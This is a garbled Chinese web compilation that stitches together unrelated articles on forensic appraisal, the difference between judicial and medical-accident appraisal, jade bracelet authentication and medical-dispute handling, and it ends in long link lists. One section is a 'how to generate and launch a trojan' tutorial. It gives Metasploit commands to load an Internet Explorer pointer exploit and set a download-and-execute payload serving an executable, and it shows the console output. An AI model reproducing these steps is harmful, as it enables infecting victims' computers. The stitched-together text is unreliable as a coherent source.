[3]李禹：《2012年度全国司法鉴定情况统计分析》，载《中国司法》2013年第4期。

[4]参照本文的第一部分。

[5]《刑事诉讼法》第50条及有关侦查的规定。

[6]参见《德国刑事诉讼程序及罚款程序条例》第70条。

[7]持相同观点的还有，郭华：《健全统一司法鉴定管理体制的思路转向》，载《中国司法鉴定》2015年第1期。

教你怎样生成并启动木马篇4

一、下载www.rec-sec.com/exploits/msf/ie_iepeers_pointer.rb

二、放到C:MetasploitFramework3msf3modulesexploitstest，我改个了名字叫ie.rb

三、启动msfconsole

四、msf > use exploit/test/ie

msf exploit(ie) > show optinos

回显：

Module options:

NameCurrent Setting Required Description

------------------- -------- -----------

SRVHOST0.0.0.0yesThe local host to listen on.

SRVPORT8080yesThe local port to listen on.

SSLfalsenoNegotiate SSL for incoming connections

SSLVersion SSL3noSpecify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)

URIPATHnoThe URI to use for this exploit (default is random)

Exploit target:

Id Name

-- ----

0Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0

msf exploit(ie) > set srvhost 192.168.0.3

srvhost => 192.168.0.3

msf exploit(ie) > set srvport 8080

srvport => 8080

msf exploit(ie) > set payload windows/download_exec

payload => windows/download_exec

msf exploit(ie) > set url 192.168.0.3/demo.exe

url => 192.168.0.3/demo.exe

msf exploit(ie) > exploit

[*] Exploit running as background job.

msf exploit(ie) >

[*] Using URL: 192.168.0.3:8080/4rJ0JRSnX55wAY

[*] Server started.

然后打开192.168.0.3:8080/4rJ0JRSnX55wAY，你就可以看到源码了，

司法鉴定和医疗事故鉴定区别篇5

导读：我根据大家的需要整理了一份关于《司法鉴定和医疗事故鉴定的区别》的内容，具体内容：你听说过司法鉴定和医疗事故鉴定吗?司法鉴定顾名思义，意思大家都清楚;医疗事故技术鉴定，是指由医学会组织有关临床医学专家和法医学专家组成的专家组，运用医学、法医学等科学知识和技术，对涉...你听说过司法鉴定和医疗事故鉴定吗?司法鉴定顾名思义，意思大家都清楚;医疗事故技术鉴定，是指由医学会组织有关临床医学专家和法医学专家组成的专家组，运用医学、法医学等科学知识和技术，对涉及医疗事故行政处理的有关专门性问题进行检验、鉴别和判断并提供鉴定结论的活动。下面由我为你详细介绍司法鉴定和医疗事故鉴定的相关法律知识。

一、组织方式区别

司法鉴定由社会鉴定机构进行，鉴定人须经司法行政管理机关核准注册，鉴定需 2 人以上，涉及专科、专业技术问题可向专家咨询，最终由鉴定人签发鉴定意见书。

医疗事故鉴定由各级医学会组织进行，设区的市级和省、自治区、直辖市直接管辖的县市级地方医学会负责组织首次鉴定，省、自治区、直辖市地方医学会负责组织再次鉴定。医学会建立专家库，专家库依据学科专业组名录设置学科专业组。中华医学会负责全国疑难、复杂、重大影响的医疗纠纷争议案件的鉴定。

二、鉴定程序的区别

1、启动程序的区别

司法鉴定可接受单方申请，而医疗事故鉴定不接收单方申请，需医患双方共同申请，或卫生局指定，或司法机关委托;

2、听证程序的区别

司法鉴定可以凭借委托人提供的资料进行鉴定，可以不组织听证，可进行单方书面审查，也可以邀请相对人参加听证。而医疗事故鉴定必须由双方提供资料并进行双方参加的听证。

3、管辖区别

司法鉴定不受地域限制，没有级别限制。而医疗事故鉴定由发生事故所在地的地市级医学会进行首次鉴定，需要再次鉴定的，由省、自治区、直辖市医学会进行。中华医学会鉴定程序不是必须的鉴定。

4、鉴定时限的区别

司法鉴定一般应在 15 日内出具鉴定书，需延长的可至 30 日，经鉴定人批准并征得委托人同意，最长不得超过 60 日。医疗事故鉴定在鉴定 7 日前，将时间、地点、要求以书面方式通知双方当事人，自接到材料之日起，45 日内组织鉴定并出具鉴定书。

5、鉴定人签字区别

司法鉴定的鉴定人必须在鉴定书上签字。而医疗事故参加鉴定的专家不在鉴定书签字。

6、专业咨询区别

司法鉴定对于专业专科技术问题可以咨询本地或外阜的专业专家。而医

疗事故鉴定一般由隶属的专家库专家参与鉴定，当本专家库专家人数不足时，可委托另一医学会进行。

7、签发程序区别

司法鉴定鉴定文书由鉴定人签发，需要时，由授权复核核发。医疗事故鉴定由鉴定专家组组长签发。

8、鉴定检材区别

司法鉴定依委托人提供的检材资料进行鉴定，条件允许和必要时，鉴定人可进行尸体解剖提取病理检材，进行病理药物化验分析;医疗事故鉴定时，医学会不组织尸体解剖，不制作检材，依靠委托人提供的检材和资料进行论证分析。司法鉴定可做文证审查，医疗事故鉴定时，没有解剖影响死因认定的，医学会不接受委托，不作文证审查意见书。

三、法庭质证中的区别

司法鉴定的鉴定人在法庭需要时，必须出庭接受质询，否则鉴定结论将不被采信。而参加医疗事故鉴定的专家没有出庭接受质询的案例。

怎样鉴定翡翠手镯篇6

有句行话说的好，“内行买种，外行买色”。“种”主要是指翡翠的矿物组成部分。翡翠的种有很多，如玻璃种、冰种、糯种、芙蓉种、金丝种、花青种、油青种、豆种等。“不同的矿物所占的比例不同，便形成不同的种”。譬如，以硬玉为主，略含其他矿物，这就是普通意义上的翡翠。若成分中既含有硬玉，也有透辉石类，便是油青种;而成分中含硬玉、透辉石与铬，就是墨翠;含铬再多一些，就是铁龙生。成分中全是纳铬辉石，便是干青种。尽管有些人偏爱干青种，但它算不上真正意义上的翡翠。

其实，通过翡翠的物理属性与特性，也可以巧辩真假。但要有意识地训练自己对翡翠感觉，久而久之你就可以辨别了。

1、硬度法;普通小刀的硬度大概在5.5左右，而翡翠的硬度在6.5-7之间。如果对购买的翡翠不放心，可以用小刀去划它或者用翡翠的尖部去划玻璃，如果翡翠上留有印痕，那说明它不是真的。

2、掂量法;翡翠的密度为3.34g/cm3，拿在手上很有质感，并有压手之感。若掂起来很轻，便说明它可能是其他材质的。近年来有不少商家用水沫子充当冰种翡翠。两者看似相似，但用手一掂量，就能分辨出来轻的一定是水沫子。

3、看光泽;光打在物体表面上，反射出来的光越多，说明折射率越高。钻石的折射率为2.417，因而它能发出璀璨的光芒。水晶与水沫子的折射率相近约为1.54，而翡翠的折射率为1.66。相比之下，后者的光泽要比前两者好。

4、看色根;天然的绿色翡翠是有色根的。如果是染色的则无色根，用白光一照，绿色就没了。看翡翠时，光线也有讲究。最好是自然光，可选择上午十点至下午三点之间去购买翡翠，这时的自然光最适宜观察翡翠，鉴定材料《怎样鉴定翡翠手镯》。或者在白色灯光下，不要用其他颜色的灯光，容易造成偏色。

冰冻三尺非一日之寒，学习翡翠知识也不能一蹴而就。如果你真的喜爱翡翠，不妨静下心来系统地学习一番，这样你才会懂得究竟什么样的翡翠值得购买。

翡翠的鉴赏评估

翡翠，一种天然的矿物，色、透、匀、形、敲是观赏评价玉石的一般方法。俗语曰：外行看色，内行看种。并将玉石分为玻璃种、冰种、水种、紫罗兰种、金丝种、豆青种等。评估翡翠一般从以下几点：

颜色：颜色是评价翡翠的重要因素，好的颜色要达到的标准是：浓、阳、俏、正、和。

水头：水头指的就是透明度，透明度越高翡翠价值越高。

大小：同样品质的翡翠，重量越大价值越高。

瑕疵：翡翠中有裂纹或杂质就大大降低了翡翠的价值，所以要注意翡翠的保养。

雕工：“玉不琢不成器”。好的翡翠必然会要有好的雕工，雕工在翡翠评估中占有重要地位。

翡翠的保养

首先，物理损伤保护。应尽量避免使它从高处坠落或撞击硬物,尤其是有少量裂纹的翡翠首饰.否则很容易破裂或损伤;翡翠怕高温，避免火烤暴晒等高温，翡翠经过烤灼会使其内部分子体积增大，使玉质产生变-态，造成翡翠失去温润的水分，使其种质变干。

其次，化学损伤保护。翡翠要经常佩戴，避免“失水”变干。翡翠可以吸收人体分泌的物质，滋养翡翠，正所谓“人养玉”;翡翠的主要成分为硅酸盐铝钠，所以翡翠首饰不能与酸、碱和有机溶剂接触，以免造成侵蚀翡翠。

怎样启动医疗事故鉴定篇7

遇到医疗纠纷问题？赢了网律师为你免费解惑！访问>>

http://s.yingle.com

《申请医疗事故鉴定有时间限制》医疗纠纷及医疗鉴定的相关问题【申请医疗事故鉴定有时间限制】医疗纠纷及医疗事故技术鉴定的相关问题

一、鉴定的委托和受理

1、由公、检法机关提起的技术鉴定委托，可以不受必须先作首次鉴定再做再次鉴定的限制，也可以不受行政区划的限制。医学会受理司法机关的异地鉴定委托后发生的额外费用，由当事人在法院的协调下解决。

2、被鉴定患者的姓名与病历资料中患者的姓名不一致时，医学会可以不予受理，要求交由委托鉴定的卫生行政部门、法院或者委托人作出患者身份为同一人的确认后再予受理。

3、对于患者身体状况不稳定，器官功能在恢复中的病例，或鉴定后仍可能发生病情变化的病例，医学会在受理时应向委托人及当事人告知：鉴定将根据患者在鉴定会时的病情及身体状况来认定医疗事故的等级，否则不予受理。对治疗尚未终结的案例，从受理到鉴定的时间为三个月。

4、规定卫生行政部门应当自收到医疗事故争议处理申请之日起10日内进行审查，作出是否受理的决定。医学会应当自收到委托申请后进行审查，在30日内对是否受理予以书面通知。中华医学会受理前的法律咨询s.yingle.com

赢了网s.yingle.com

审查时间可适当延长。

5、法院委托医疗事故的鉴定，其材料的真伪由法院进行确认;卫生行政部门委托的医疗事故技术鉴定，其材料的真伪由卫生行政部门进行确认，卫生行政部门同时要对医疗机构极其医务人员的资格、手术及有创操作分级准入等进行审核，并附书面说明;医患双方共同委托的医疗事故技术鉴定，其材料的真伪由组织鉴定的医学会进行确认。《医疗事故技术鉴定暂行办法》第十六条规定，提供的材料不真实的，医学会将中止组织医疗事故技术鉴定。

6、发生医疗纠纷后，死亡病历讨论记录、疑难病历讨论记录、上级医师查房记录、会诊意见、病程记录应当在医患双方在场的情况下封存和启封。封存的病历资料可以是复印件，由医疗机构保管(《条例》第十六条)。卫生行政部门委托时，要将医疗事故技术鉴定申请书、委托书、封存的病历资料(审核后再由卫生行政部门封存)和其它相关材料、双方对鉴定材料无异议的书面确认材料、医务人员的资格确认材料等一起交到组织鉴定的医学会。

二、关于医疗事故技术鉴定中的尸检问题

1、《条例》第十八条指出，患者死亡，医患双方当事人不能确定死因或者对死因有异议的，应当在患者死亡后48小时内进行尸检;具备尸体冻存条件的，可以延长至7日。尸检应当经死者近亲属同意并签字。

2、尸检应当由死者近亲属或医疗机构申请，经死者近亲属同意并签字后，由卫生行政部门指定符合条件的医疗机构(按照国家有关规定

法律咨询s.yingle.com

赢了网s.yingle.com

取得相应资格的机构和病理解剖专业技术人员)进行。

3、拒绝或者拖延尸检，超过规定时间，影响对死因判定的，由拒绝或者拖延的一方承担责任。

三、关于医疗事故技术鉴定中实物的封存和启封

《条例》第十七条指出，疑似输液、输血、注射、药物等引起不良后果的，医患双方应当共同对现场实物进行封存和启封，封存的现场实物由医疗机构保管;需要检验的，应当由双方共同指定的、依法具有检验资格的检验机构进行检验;双方无法共同指定时，由卫生行政部门指定。所以，出现医疗纠纷，医疗机构要及时报告辖区卫生行政部门，便于沟通和请示、汇报，便于医疗纠纷的解决和将其消灭在萌芽状态。

四、关于补记病历的规定

1、《条例》第八条指出，医疗机构应当按照国务院卫生行政部门规定的要求，书写并妥善保管病历资料。

2、因抢救急危患者，未能及时书写病历的，有关医务人员应当在抢救结束后6小时内据实补记，并加以说明。

五、医疗纠纷的防范与应对

近年来，随着社会经济和医疗卫生事业的不断发展，市场经济改革与医疗体制的不断深化，《医疗事故处理条例》的颁布，医患双方因医疗事故争议引发的医疗纠纷呈上升趋势，积极采取有效措施降低医疗纠纷的发生，是我们当前工作的重点。(一)原因

法律咨询s.yingle.com

赢了网s.yingle.com

1、手术科室医疗纠纷多已是个不争的事实，其原因除了医疗本身较多的不确定因素导致手术科室医疗风险增高外，还与各级医疗机构的业务和服务水平的差别、病人和家属对医学这一门高层次科学知识的匮乏有关。在医疗事故技术鉴定中发现医疗机构也隐存着医院管理和医疗行为不规范等问题，管理制度不健全，违反医疗常规。是引发手术科室医疗纠纷最为常见的原因，院内规章制度不健全、会诊及转诊制度不明确、术前讨论预案不充分或无、基础设施不足或未处于工作状态等，一旦发生意外往往救治不力。意识决定行为，在这样的管理水平下的医疗机构多数是把追求经济效益放在首位。因此，在区县医疗机构常发生过度放宽手术适应症、在缺乏专科处理能力且不具备执业资格的情况下自行扩大诊疗范围、过高估计自身的业务能力、错误地选择手术方式或手术材料，给病人造成再次或多次手术等，这些都使得医疗纠纷在所难免。与此有关的还有关照熟人就诊，违规简化诊疗程序，导致漏诊、误诊、误治并造成严重后果，这种纠纷大多违规事实清楚，对医方极不利。医疗文书书写不规范。长期以来，临床医务人员特别是手术科室人员，重技术操作，轻病历书写。但是医疗纠纷一旦进入鉴定程序，病历的功能、作用和社会价值陡增。在鉴定中我们发现输官司的医方多数都存在病历质量的问题，有的是涂改或病程记载不全或护理观察记录不全，有的是术前、术中、术后记录不全或出院病历与门诊病历大庭相径，有的小卫生院或诊所甚至没有门诊病历。而病历在鉴定中是作为最重要的证据之一来看待的。

法律咨询s.yingle.com

赢了网s.yingle.com 医患沟通不够。医务人员所做的每一项医疗措施，患者及家属都有知情权和决定权，但在实践中我们的医务人员往往忽略，有的是手术风险不告知或告知不全，有的在术中根据需要更换手术方式或材料却不及时与患方沟通，还有的就是缺乏沟通能力，交流简单粗暴冷漠，使沟通流于形式，手术、治疗顺利就好，一旦未达到患方的期望值就产生了纠纷。知识老化，信息不畅通。医疗纠纷高发的我市区县及以下医疗机构大多在山区面向广大农业人口。其医疗基础设施严重不足且陈旧，交通不便，经费困难，医务人员业务水平不高，知识老化且信息不畅通。高达3/4的医疗纠纷鉴定案来自这些医疗机构，不能不认为这些是引发医疗纠纷案的重要原因。来自患方的过高期望值。他们受专业的局限性，不能理解并发症，也不愿正视自身疾病的参预度和选择权的干预度，认为来到医院就应该由医院负责治好，事实上这就是在医疗技术最先进的国家也是不可能的。再就是医疗费用问题，我国目前的医疗卫生事业福利性体现不充分，人民群众普遍感到医疗自费负担重，部分花了钱未达到期望的治疗效果，或因病致残、因病致贫的患者，希望通过医疗纠纷获得赔偿，也是使得医疗纠纷增多且高居不下的重要原因之一。(二)防范措施

四年中由我办组织鉴定的医疗纠纷案说明我省六州的乡村医疗卫生状况的确存在管理、技术等诸多方面的原因。其中服务观念和管理水平应作为重点工作来做。

法律咨询s.yingle.com

赢了网s.yingle.com 转变观念，树立服务意识。医务人员服务意识差。在医疗过程中，有些医务人员没有把为患者服务的宗旨落到实处，或者言语生硬、或者态度恶劣，、服务不到位，这自然引起患者对医务人员的反感，对医疗机构的不满，医务人员一旦在工作中出现一点失误，就会引起医疗纠纷。要清醒地认识我国现行的医疗体制转换是以市场化为主导，也是社会发展的主流，过去那种把医疗行为当作是自上而下的施于是一定要转变的。健立健全各项医疗规章制度。规范医疗行为，严格依法行使医疗服务的执业活动范围，保障医疗服务质量。有计划地开展医务人员的继续医学教育培训。重点在医德医风教育和专业知识及基础技能的提高。医术和医德是决定医疗质量的两个重要因素，医术是基础，医德是保证。医德作为医院发展的内生性资源，是确保医院在竞争中立于不败之地的重要因素之一。良好的医德医风可以避免和化解许多医疗纠纷。增强自我保护意识。良好的沟通能力和完善的病历文书记录，是保护医务人员少受医疗纠纷之苦的“护身符”，所以严格按照有关要求完善病历文书的书写，注意与患者及家属保持和诣沟通并有沟通记录在案，应将其作为医务人员的基本功来做。树立法律意识。医务人员法律知识缺乏，自我保护意识淡薄。与患者掌握法律法规的程度相比，医务人员的法律知识十分缺乏，并且没有学习相关法律法规的想法。同时医务人员没有自我保护的意识，言谈举止毫无顾虑、毫无避讳，以至辛辛苦苦干了工作，最后却成了被

法律咨询s.yingle.com

赢了网s.yingle.com

告。加强医疗卫生管理法律法规的学习，学会用相关的法律法规保护医务人员及医疗机构的合法权益，善于发现纠纷苗头，及时化解矛盾，杜绝事故的发生。主要目的是既要保护医患双方的合法权益，又要保护和促进医学科学的健康发展。此为防范处理纠纷的上上策;在解决已发生的纠纷中最好是医患双方坦诚对话，通过互谅互让达成协议为上策，在处理纠纷中面对粗暴的、狮子口大开的赔偿要求，最好是诉褚法律依法解决。

6医务人员责任心不强。由于部分医务人员不负责任，出现脱岗违反技术操作规程，错误用药、打针、输血、手术等造成患者产生不良后果引发医疗纠纷，这种医疗纠纷是最没有争议的一种情况，医方不仅要负民事责任，当事人可能还要负刑事责任，受到法律制裁。总上所述，医疗事故的防范与处理是一项系统工程，需要从各个环节、各个层次、各个方面应用各种手段和措施进行综合控制，而且要不断总结提高，以适应新形势的发展与要求，只要人们的医护人员：①认真学习领会《医疗事故条例》、《计划生育技术服务管理条例》，遵纪守法;才能杜绝和减少各类医疗事故的发生;②改善服务态度;③提高自己的理论和实践操作水平;做到又细又专，就能社绝和减少各类医疗事故的发生。

六、医疗纠纷发生后，医疗机构：

1、发生医疗纠纷后，应抱积极的态度，详细了解事情的全过程，耐心解释，争取将矛盾化解在医院内部。

2、举证责任(倒置)：用医学科学、用事实向患者说明院方的医疗行

法律咨询s.yingle.com

赢了网s.yingle.com

为。

3、不能轻易答应给患者补偿费。

4、只有将医疗事故争议的事实搞清，才能准确定性，正确区分医疗风险与医疗过失、区分医务人员的责任与药物及医疗器械质量责任、区分医疗行为对损害后果应当承担的责任程度，杜绝或者减少医疗事故的发生。因此坚持实事求是的科学态度，是我们做好医疗事故处理工作的重中之重。

5、诊疗护理规范、常规的培训是对医务人员进行旨在提高业务技术能力的各种教育和训练活动。诊疗护理规范、常规是医学实践长期经验的科学总结、是医疗护理技术科学化、标准化、规范化的典范、是确保医疗质量的重要措施。医学是一门实践性、应用性很强的科学，随着医学科学的发展和医学实践的丰富，新项目、新技术不断涌现，新的仪器设备和药品不断被研制开发出来，诊疗护理规范、常规培训(继续医学教育)更为重要。

6、医师必须履行告知义务，手术同意书的内容应耐心、详细的向患者或家属解释，并征得患者或家属的同意，要有患者本人或近亲属的签字。多数案例的经验教训说明，无患者本人或近亲属的签字，无论是否具有切除的适应症，术中不能擅自做主切除患者的器官或改变手术方式。除非术中冰冻病理切片提示必须扩大手术范围，须向患者本人或近亲属交代清楚，征得同意并签字后，才能根据病情继续手术，避免以后出现医疗纠纷。

6、关于“植入类医疗器械”：医疗机构应负责“植入类医疗器械”

法律咨询s.yingle.com

赢了网s.yingle.com

购入时的质量把关，植入类医疗器械如存在质量问题，由医疗机构负责和厂家交涉。植入类医疗器械不存在质量问题出现意外情况，不要让患者去和厂家打交道，由医院出具产品合格证书，医院如尽到了告知义务，产品具有合格证书的情况下，医疗机构不承担责任，所发生的问题由患者本人负责。

7、明确规定各科各级医生应掌握的技术，即遵照青海省卫生厅制定的《青海省医疗机构手术及有创操作分级准入管理暂行办法》，手术应由相应级别的医生承担。只有医生的技术水平提高了，责任心增强了，出现问题，患者才能谅解，医疗纠纷和医疗事故发生率才能下降。来源：（《申请医疗事故鉴定有时间限制》医疗纠纷及医疗鉴定的相关问题http://s.yingle.com/yl/389184.html）医疗纠纷.相关法律知识

 医疗纠纷民事答辩状范本

http://s.yingle.com/yl/656223.html

 篡改病历要承担什么责任

http://s.yingle.com/yl/656222.html

 输液引发过敏是否属于医疗事故,如何鉴定 http://s.yingle.com/yl/656221.html

 医疗事故4级赔多少钱

http://s.yingle.com/yl/656220.html

 气胸是医疗事故吗 http://s.yingle.com/yl/656219.html

法律咨询s.yingle.com

赢了网s.yingle.com

 农村合作医疗2018年交多少钱

http://s.yingle.com/yl/656218.html

  医疗纠纷赔偿判决书 http://s.yingle.com/yl/656217.html <职工因病或非因工伤残丧失劳动能力程度鉴定管理办法>政策解读 http://s.yingle.com/yl/656216.html

 企业破产职工医疗费用赔偿顺序是什么样子的 http://s.yingle.com/yl/656215.html

  医疗事故赔偿多少钱 http://s.yingle.com/yl/656214.html 医疗过错因果关系推定存在过错有哪些情形 http://s.yingle.com/yl/656213.html

  医院摔倒赔偿多少钱 http://s.yingle.com/yl/656212.html 如何界定是否

属于故意

医疗事故

http://s.yingle.com/yl/656211.html

 医疗过错立案材料有哪些

http://s.yingle.com/yl/656210.html

   出了医疗事故怎么办 http://s.yingle.com/yl/656209.html 医疗过错分级有几级 http://s.yingle.com/yl/656208.html 医生避免医疗

纠纷的方

法有哪些

http://s.yingle.com/yl/656207.html

 医疗事故损害赔偿计算标准(2018年)2018最新规定(2018)http://s.yingle.com/yl/656206.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗事故需提交的证据有哪些

http://s.yingle.com/yl/656205.html

 医疗事故导致脑瘫怎么赔偿

http://s.yingle.com/yl/656204.html

 营利性医疗机构的经营范围怎么填写 http://s.yingle.com/yl/656203.html

 所有的医疗纠纷法院都有管辖权吗 http://s.yingle.com/yl/656202.html

 医疗事故鉴定的费用谁支付

http://s.yingle.com/yl/656201.html

 医疗过错鉴定的费用由谁支付

http://s.yingle.com/yl/656200.html

 怎么判定医疗事故级数

http://s.yingle.com/yl/656199.html

   医疗纠纷的造成原因 http://s.yingle.com/yl/656198.html 医疗事故有几级分类 http://s.yingle.com/yl/656197.html 医疗

过

错

律

师

怎

么

收

费

http://s.yingle.com/yl/656196.html

 三级丙等医疗事故赔偿标准(2018http://s.yingle.com/yl/656195.html

年) 医疗纠纷民事上诉状书写格式http://s.yingle.com/yl/656194.html

法律咨询s.yingle.com

2018

赢了网s.yingle.com

 医疗事故申请书（2018最新）书写格式2018 http://s.yingle.com/yl/656193.html

 医疗事故死亡赔偿最高多少

http://s.yingle.com/yl/656192.html

 如何衡量医疗事故罪的严重不负责任行为危害结果 http://s.yingle.com/yl/656191.html

 术后感染算医疗事故吗

http://s.yingle.com/yl/656190.html

 烧伤十级伤残鉴定标准(2018年)http://s.yingle.com/yl/656189.html

 四级医疗事故有无精神抚慰金

http://s.yingle.com/yl/656188.html

 医疗事故责任追究制度

http://s.yingle.com/yl/656187.html

  医疗纠纷处理预案 http://s.yingle.com/yl/656186.html 出医疗

事

故

小

孩

死

了

怎

么

办

http://s.yingle.com/yl/656185.html

 最新医疗过错损害赔偿起诉状书写格式2018 http://s.yingle.com/yl/656184.html

 医疗事故鉴定标准(2018年)是什么样子的呢 http://s.yingle.com/yl/656183.html

法律咨询s.yingle.com

赢了网s.yingle.com

 根据对患者人身造成的损害程度，医疗事故分为四级 http://s.yingle.com/yl/656182.html

 医疗事故鉴定收费标准(2018年)是什么样子的呢 http://s.yingle.com/yl/656181.html

 医疗纠纷赔偿计算公式是什么样子的 http://s.yingle.com/yl/656180.html

 医疗过错不致于人伤残的应该赔多少钱 http://s.yingle.com/yl/656179.html

 医疗纠纷应急处置预案范本

http://s.yingle.com/yl/656178.html

 医疗损害纠纷判决范文是怎么样的 http://s.yingle.com/yl/656177.html

  医疗损害纠纷代理词 http://s.yingle.com/yl/656176.html 如何判

断

是

否

构

成医

疗

事

故

罪

http://s.yingle.com/yl/656175.html

 2018医疗纠纷与医疗事故是一个意思吗,怎样区分 http://s.yingle.com/yl/656174.html

 医疗事故诉讼程序是什么样子的

http://s.yingle.com/yl/656173.html

 《医疗事故处理条例》的意义

http://s.yingle.com/yl/456808.html

法律咨询s.yingle.com

赢了网s.yingle.com

 道路交通事故案件误工费赔偿标准(2017年最新版)http://s.yingle.com/yl/456806.html

   患者的权利和义务 http://s.yingle.com/yl/456804.html 医疗事故的特征 http://s.yingle.com/yl/456802.html 害人诊

所

误

诊

致

堕

胎

如

何

维

权

http://s.yingle.com/yl/456800.html

   医生的法定义务 http://s.yingle.com/yl/456798.html 正确处理医疗事故 http://s.yingle.com/yl/456796.html 医疗纠纷的责任认定标准(2017http://s.yingle.com/yl/456794.html

年最新版) 没有构成医疗事故应否赔偿损失

http://s.yingle.com/yl/456792.html

  患者享有哪些知情权 http://s.yingle.com/yl/456790.html 非法行医涉及欺诈行为不可以要求双倍赔偿 http://s.yingle.com/yl/456788.html

 错诊，误诊是否是医疗事故

http://s.yingle.com/yl/456786.html

 不构成医疗事故医院为啥要赔

http://s.yingle.com/yl/456784.html

 对患者实行试验性诊疗发生不良后果是否属于医疗事故 http://s.yingle.com/yl/456782.html

法律咨询s.yingle.com

赢了网s.yingle.com

 ‘医疗事故’与‘医疗损害’

http://s.yingle.com/yl/456780.html

 医疗中事故的等级如何划分

http://s.yingle.com/yl/456778.html

 医疗事故包括哪些构成要件

http://s.yingle.com/yl/456776.html

 整形美容手术造成毁容或容貌受损是否属于医疗事故 http://s.yingle.com/yl/456774.html

 非法行医致人死亡判刑罚金还得赔偿 http://s.yingle.com/yl/456772.html

 发生重大医疗过失行为

http://s.yingle.com/yl/456770.html

 医疗服务合同的不完全履行及其救济 http://s.yingle.com/yl/456768.html

 患者有获取住院费用清单的权利

http://s.yingle.com/yl/456766.html

     怎样处理医疗纠纷 http://s.yingle.com/yl/456764.html 医疗纠纷怎样打官司 http://s.yingle.com/yl/456762.html 造成医疗事故的原因 http://s.yingle.com/yl/456760.html 医疗事故pk医疗过错 http://s.yingle.com/yl/456758.html 患者或者其家

属可以享

受知情权

http://s.yingle.com/yl/456756.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗事故的构成要件有哪些

http://s.yingle.com/yl/456754.html

 手术不必家属签字患者知情权如何保障 http://s.yingle.com/yl/456752.html

 医患双方的权利和义务

http://s.yingle.com/yl/456750.html

 医疗事故鉴定如何申请

http://s.yingle.com/yl/456748.html

 哪些情形不构成医疗事故

http://s.yingle.com/yl/456746.html

 不构成医疗事故就赔不到了吗

http://s.yingle.com/yl/456744.html

   什么不属于医疗事故 http://s.yingle.com/yl/456742.html 医疗事故pk医疗过错 http://s.yingle.com/yl/456740.html 一般医疗损害赔偿和医疗事故损害赔偿的区别 http://s.yingle.com/yl/456738.html

 周某某的眼科手术不构成医疗事故 http://s.yingle.com/yl/456736.html

 非医疗事故的医疗纠纷处理办法

http://s.yingle.com/yl/456734.html

 承担责任医疗事故 http://s.yingle.com/yl/456732.html

法律咨询s.yingle.com

赢了网s.yingle.com

 医疗差错事故标准(2017http://s.yingle.com/yl/456730.html

年最新版) 基于医疗服务合同的赔偿责任合同样本 http://s.yingle.com/yl/456728.html

 教你如何避免医患纠纷的风险

http://s.yingle.com/yl/456726.html

 怎样正确适用法律解决医疗纠纷

http://s.yingle.com/yl/456724.html